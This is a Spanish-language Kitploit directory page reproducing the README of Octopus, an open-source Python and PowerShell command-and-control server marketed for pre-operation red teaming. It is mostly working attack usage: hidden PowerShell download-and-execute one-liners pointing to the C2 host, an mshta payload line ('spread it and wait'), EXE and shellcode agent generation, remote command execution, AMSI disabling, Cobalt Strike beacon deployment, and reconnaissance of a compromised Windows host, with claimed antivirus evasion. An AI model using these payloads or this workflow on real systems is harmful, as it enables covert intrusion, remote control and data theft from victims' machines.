Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Octopus — Servidor C2 de pre-operación de código abierto basado en Python y PowerShell | Kitploit
Herramientas/GitHubGitHub/mhaskar/octopus
Herramientas de Cifrado/DescifradoGeneración de PayloadsRecopilación de InformaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHubmhaskar/octopus

Octopus

Servidor C2 de pre-operación de código abierto basado en Python y PowerShell

Ver Repositorio
763155hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

¿Qué es Octopus?

Octopus es un servidor C2 de preoperación de código abierto basado en Python que puede controlar un agente de Octopus PowerShell a través de HTTP/S.

El propósito principal de crear Octopus es usarlo antes de cualquier operación de red team, donde en lugar de comenzar el compromiso con todo tu arsenal operativo e infraestructura, puedes usar Octopus primero para atacar el objetivo y recopilar información antes de iniciar tu operación real de red team.

Octopus funciona de una manera muy simple para ejecutar comandos e intercambiar información con el C2 a través de un canal bien cifrado, lo que lo hace discreto e indetectable para casi todos los antivirus, protecciones de endpoints y soluciones de monitoreo de red.

Una característica interesante de Octopus se llama ESA, que significa "Endpoint Situational Awareness" (Conciencia Situacional del Endpoint), que recopilará información importante sobre el objetivo que te ayudará a comprender mejor los endpoints de la red objetivo que enfrentarás durante tu operación, dándote así la oportunidad de personalizar tu operación real basándote en esta información.

Octopus está diseñado para ser sigiloso y encubierto mientras se comunica con el C2, ya que utiliza AES-256 por defecto para su canal cifrado entre el agente de PowerShell y el servidor C2. También puedes optar por usar SSL/TLS proporcionando un certificado válido para tu dominio y configurando el servidor C2 de Octopus para usarlo.

Características clave de Octopus

Octopus está repleto de varias características que te permiten obtener información sobre tu próxima operación antes de que necesites desplegar todo tu arsenal o herramientas y técnicas, como:

  • Controlar agentes a través de HTTP/S.
  • Ejecutar comandos del sistema.
  • Descargar / Subir archivos.
  • Cargar módulos externos de PowerShell.
  • Usar canales cifrados (AES-256) entre el C2 y los agentes.
  • Usar técnicas discretas para ejecutar comandos y transferir resultados.
  • Crear listeners personalizados y múltiples para cada objetivo.
  • Generar diferentes tipos de payloads.
  • Compatible con todas las versiones de Windows con PowerShell 2.0 y superiores.
  • Ejecutar el agente ejecutable de Octopus en Windows sin tocar el proceso powershell.exe.
  • Recopilar información automáticamente del endpoint (conciencia situacional del endpoint).

Requisitos

Puedes instalar todos los requisitos de Octopus mediante:

pip install -r requirements.txt

Necesitas instalar nasm para Linux y el compilador 'mingw-w64' para usar la funcionalidad de shellcoding y el agente de argumentos suplantados.

Puedes instalar nasm en distribuciones basadas en Debian usando:

apt install nasm

Y puedes instalar mingw-w64 en distribuciones basadas en Debian usando:

apt install mingw-w64

Octopus ha sido probado en los siguientes sistemas operativos:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

También necesitarás instalar Mono para asegurarte de que puedes compilar el código fuente en C# sin problemas.

Octopus depende del binario mono-csc para compilar el código fuente en C# y puedes instalarlo con el siguiente comando apt install mono-devel, el cual ha sido probado en Kali y Ubuntu 16.04.

Puedes usar Octopus sin instalar Mono pero no podrás usar el comando generate_exe.

También ten en cuenta que compilar C# depende del ensamblado System.Management.Automation.dll con el hash SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.

Si encuentras algún problema al usar Octopus, no dudes en informar de un bug.

Instalación

En primer lugar, asegúrate de descargar la última versión de Octopus usando el siguiente comando:

git clone https://github.com/mhaskar/Octopus/

Luego necesitas instalar los requisitos usando el siguiente comando:

pip install -r requirements.txt

Después de eso, puedes iniciar el servidor de Octopus ejecutando lo siguiente:

./octopus.py

Serás recibido con lo siguiente una vez que lo ejecutes:

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 estable !


 Octopus C2 | Controla tus shells


Octopus >>

Uso

Usar Octopus es bastante simple, ya que solo necesitas iniciar un listener y generar tu agente basado en la información de ese listener.

Puedes generar tantos listeners como necesites, y luego puedes comenzar a interactuar con tus agentes que se conectan a ellos.

Configuración del perfil

Antes de que puedas empezar a usar Octopus, debes configurar un perfil de manejo de URLs que controlará el comportamiento y las funciones del C2, ya que Octopus es un C2 basado en HTTP, por lo que depende de las URLs para manejar las conexiones y para garantizar que las URLs no sirvan como firmas o IoC en la red que estás atacando; las URLs pueden ser fácilmente personalizadas y renombradas según sea necesario.

La configuración del perfil actualmente solo soporta el manejo de URLs, el valor de auto kill y los encabezados.

Configuración de tu perfil

Para comenzar a configurar tu perfil, necesitas editar el archivo profile.py, que contiene varias variables clave, que son:

  • file_receiver_url: maneja la descarga de archivos.
  • report_url: maneja los informes de ESA.
  • command_send_url: maneja los comandos que se enviarán al objetivo.
  • command_receiver_url: maneja los comandos que se ejecutarán en el objetivo.
  • first_ping_url: maneja la primera conexión desde el objetivo.
  • server_response_header: este encabezado se mostrará en cada respuesta.
  • auto_kill: variable para controlar cuándo se eliminará el agente después de N conexiones fallidas con el C2.

Ejemplo:

root@kitploit:~
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10


El agente y los listeners se configurarán para usar este perfil para comunicarse entre sí. A continuación, necesitamos saber cómo crear un listener.

Listeners

Octopus tiene dos listeners principales, "http listener" y "https listener", y las opciones de ambos listeners son casi idénticas.

Listener HTTP:

El comando listen_http toma los siguientes argumentos para iniciar:

  • BindIP Define la dirección IP que será usada por el listener.
  • BindPort Define el puerto en el que deseas escuchar.
  • Hostname Se usará para solicitar el payload.
  • Interval Número de segundos que el agente esperará antes de comprobar los comandos.
  • URL El nombre de la página que aloja el payload.
  • Listener_name Nombre del listener a usar.

También puedes ver un ejemplo ejecutando el comando listen_http:

root@kitploit:~
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

Y podemos iniciar un listener usando el siguiente comando:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

Se obtendrá el siguiente resultado:

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Se ha iniciado un listener correctamente, y podemos ver todos los listeners usando el comando listeners:

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

Listener HTTPS:

Para crear un listener HTTPS puedes usar el comando listen_https de la siguiente manera:

root@kitploit:~
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

El comando listen_https toma los siguientes argumentos para iniciar:

  • BindIP : la dirección IP que será usada por el listener
  • BindPort : el puerto en el que deseas escuchar
  • Hostname : se usará para solicitar el payload
  • Interval : cuántos segundos esperará el agente antes de comprobar los comandos
  • URL page : nombre de la página que contendrá el payload
  • Listener_name : nombre del listener a usar
  • certificate_path : ruta para un certificado SSL válido (llamado fullchain.pem para certificados LetsEncrypt)
  • key_path : ruta para la clave válida del certificado SSL (llamada key.pem para certificados LetsEncrypt)

Ten en cuenta que necesitas proporcionar un certificado SSL válido que esté asociado al dominio utilizado.

Generar agentes

PowerShell oneliner

Para generar un agente para el listener operation1 podemos usar el siguiente comando:

generate_powershell operation1

y obtendremos el siguiente resultado:

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

HTA oneliner

Para generar un HTA oneliner para el listener1 operation1 podemos usar el siguiente comando:

generate_hta operation1

y obtendremos los siguientes resultados:

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

Ten en cuenta que puedes editar la URL /hta usando profile.py

Agente EXE de Octopus

Para generar un agente EXE para el listener operation1 podemos usar el siguiente comando:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

y obtendremos el siguiente resultado:

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

Ten en cuenta que debes instalar mono-csc para compilar el código fuente en C#.

Agente de argumentos suplantados de Octopus

Puedes generar un nuevo agente EXE que ejecutará un proceso de PowerShell con argumentos suplantados basado en la brillante investigación de Adam Chester.

Para generar este exe, puedes usar el siguiente comando:

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

Generar shellcode x64 y x86

Octopus puede generar tanto shellcode x64 como x86 a partir de la versión 1.2; el shellcode generado utiliza CreateProcessA para iniciar un oneliner de powershell.exe que lanzará el agente de PowerShell.

Para generar shellcode x64, puedes usar el siguiente comando:

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

Para generar shellcode x86, puedes usar el siguiente comando:

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

Interactuar con agentes

En primer lugar, puedes listar todos los agentes conectados usando el comando list para obtener los siguientes resultados:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

Y luego podemos usar el comando interact para interactuar con el host de la siguiente manera:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

Puedes listar todos los comandos disponibles usando el comando help de la siguiente manera:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

Para ejecutar un comando del sistema directamente, podemos escribir el comando directamente y luego esperar los resultados según el intervalo de comprobación que establecimos al crear el listener.

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

En este caso, el comando se ha cifrado y luego se ha enviado al agente; después, el cliente descifrará el comando y lo ejecutará, el agente cifrará los resultados y finalmente los enviará de vuelta al C2 para descifrarlos y mostrar los resultados.

También podemos usar el comando report para obtener la información de ESA de la siguiente manera:

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

Puedes cargar un módulo externo de PowerShell colocándolo en el directorio modules, luego ejecutando load module.ps1.

También puedes listar todos los módulos en el directorio modules ejecutando el comando modules de la siguiente manera:

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

Más sobre Octopus

  • Octopus v1.0 estable: Despliegue de Cobalt Strike y mucho más!

  • Revelando Octopus: El C2 de preoperación para Red Teamers

Créditos

  • Ian Lyte por reportar múltiples bugs en Octopus y enviar un módulo mejorado de omisión de AMSI.

  • Khlief por añadir el módulo HTA y corregir un bug en la función de descarga

  • Moath Maharmah por mejorar el módulo de cifrado y escribir un agente independiente de Octopus en C# que se añadirá en la próxima versión.

  • TeslaPulse por probar Octopus

  • J005 por añadir un oneliner mejorado de PowerShell y corregir un problema en el script de ataque HID.

Licencia

Este proyecto está licenciado bajo la Licencia GPL-3.0 - consulta el archivo LICENSE para más detalles.

Descargar herramienta